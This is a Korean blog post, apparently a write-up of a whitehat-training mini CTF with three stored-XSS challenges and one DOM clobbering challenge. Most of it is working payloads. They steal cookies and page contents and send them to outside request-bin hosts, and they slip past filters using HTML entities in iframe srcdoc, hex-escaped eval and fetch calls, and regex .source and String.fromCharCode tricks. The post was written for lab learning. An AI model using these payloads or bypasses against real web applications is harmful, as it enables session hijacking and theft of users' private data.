security/화이트햇

Mini CTF - XSS, DOM Clobbering

민사민서 2024. 1. 7. 16:00

[XSS1]

- 공격벡터

view.html에서 | safe 로 인해 스크립트 삽입 가능

작성한 글이 보여지면서 의도치 않게 스크립트 코드 실행가능할 듯

<script>alert(1)</script> content로 넣어봤을 때 잘 실행됨

 

- exploit 과정

bot.py admin id/pw로 로그인 후 특정 url에 접속함

xss1.py에서는 로그인 성공 시 userid=”admin”이면 flag 쿠키를 세팅해준다 → leak하면 될 듯

외부공개된 url(http://2023whs.arang.kr:9001)과 내부 네트워크 url(http://arang_client:9001) 다름에 주의

 

Content<script>location.href=”request bin 주소”+document.cookie</script> 작성해두고

/report 엔드포인트에서 봇으로 하여금 http://arang_client:9001/board/[게시물번호] 접속하게 하면 됨

 

 

[XSS2]

- 공격벡터

view.html에서 | safe로 인해 스크립트 삽입 가능, xss 취약점 발생

xss 필터가 걸려있지만, iframe 사용해서 우회가 가능하다. srcdoc 안에서 html 엔티티 이용해 우회 가능하다 굿

 

- exploit 과정

<iframe srcdoc="요기 안에 html 요소 넣을 수 있는데 html entities 넣어도 됨”></iframe>

n&#110; i&#105; 이다 참고로

 

<script>location.href="[request bin 주소]?FLAG="+document.cookie</script> payload 실행 목표

<iframe srcdoc="<scr&#105;pt>locatio&#110;.href=`https://enjzop8ddhjnl.x.pipedream.net?`+document.cookie</scr&#105;pt>"></iframe>

 

// 이렇게 script 태그를 삽입해도 되고

<iframe srcdoc="<i&#109;g src=x o&#110;error=locatio&#110;.href=`https://enjzop8ddhjnl.x.pipedream.net?`+document.cookie>"></iframe>

// 이렇게 이벤트 핸들러 이용해도 됨

 

 

 

[XSS3]

- 공격벡터

0번 게시물에 flag 담겨있음. “admin” 계정으로만 해당 게시물 읽을 수 있음.

마찬가지로 view.html | safe로 인해 xss 취약점 발생

하지만 필터링이 더 빡세졌다. script는 필터링 안했으므로 <script> 태그 사용 가능.

eval() 사용하면 좋겠다 => window[`ev`+`al`] 로 필터링 우회 가능

 

괄호, ‘ , “ 전부 필터링 => 구글링하다 야무진 사이트 (https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md) 발견 => eval.apply`${[`alert\x2823\x29`]}` 이런 식으로 괄호랑 따옴표 없이 실행 가능하다. 각종 단어 필터링도 우회 가능할 듯

<script>window[`ev`+`al`].apply`${[`alert\x2823\x29`]}`</script> 해봤더니 잘 동작하더라

 

- exploit 과정

admin 로그인된 채로 0번 게시물 내용 읽어서 외부 url로 보내는 JS코드

<script>window[`ev`+`al`].apply`${[`\x28async \x28\x29 => { let r = await f\x65tch\x28\x22http://arang_client:9003/board/0\x22\x29; 
let h = await r.text\x28\x29; await f\x65tch\x28\x22https://en0slqr5z6ebpg.x.pipedream.net\x22,
{ method: \x22POST\x22, headers: { \x22Co\x6etent-Type\x22: \x22applicatio\x6e/jso\x6e\x22}, body: JSO\x4e.stringify\x28{ html: h }\x29 }\x29;}\x29\x28\x29;`]}`</script>

이런 식으로 필터링 걸릴만한 애들 \x[16진수]로 우회해주면 된다

 

 

DOM Clobbering

- 공격벡터

eval()함수를 사용하기 위해 window.CLOBnot null이어야 하며, CLOB.isAdmin이 정의되어있어야 함.

echo waf(_GET[“c”]); 를 통해 HTML element 삽입 가능하다

?c=<p id=CLOB name=isAdmin></p><p id=CLOB></p> 해서 dom clobbering 취약점 발생 확인, 하지만 eval에서 HTML 요소 해석을 못해 콘솔창에 에러 발생

 

- exploit 과정

payload[Javascript code] + [HTML Content] 로 구성한다.

-       HTML content js 코드로 해석 안되는 문제 => 문자열인척 해버리자

-       각종 단어 필터링 => String.fromCharcode(), / ~ /.source 등일 이용해 우회하자

-       id=”flag” element를 찾아 innerText를 외부 Request bin으로 leak 하면 됨

 

?c=alert(/hi/.source);var a=/<img id=CLOB name=isAdmin><img id=CLOB>/.source;

=>  alert 창 뜸을 확인

?c=fetch(/https:/.source %2b String.fromCharCode(47) %2b String.fromCharCode(47) %2b /enyvb9178t6xp.x.pipedream.net?FLAG=/.source %2b document.getElementById(727432..toString(36)).innerText);var a=/<img id=CLOB name=isAdmin><img id=CLOB>/.source;

=>  Request binGET 요청 오는 것 확인

 

http://arang_client2:9200/domclobbering.php?c=fetch(/https:/.source %252b String.fromCharCode(47) %252b String.fromCharCode(47) %252b /enyvb9178t6xp.x.pipedream.net?FLAG=/.source %252b document.getElementById(727432..toString(36)).innerText);var a=/<img id=CLOB name=isAdmin><img id=CLOB>/.source;

=> +를 두 번 인코딩해줘야한다. (client -> bot.py -> 내부망)

 

=>  arang_client:9200 으로 아무리해도 안되길래 dockerfile들 살펴봤는데 컨테이너명이 arang_client2 이더라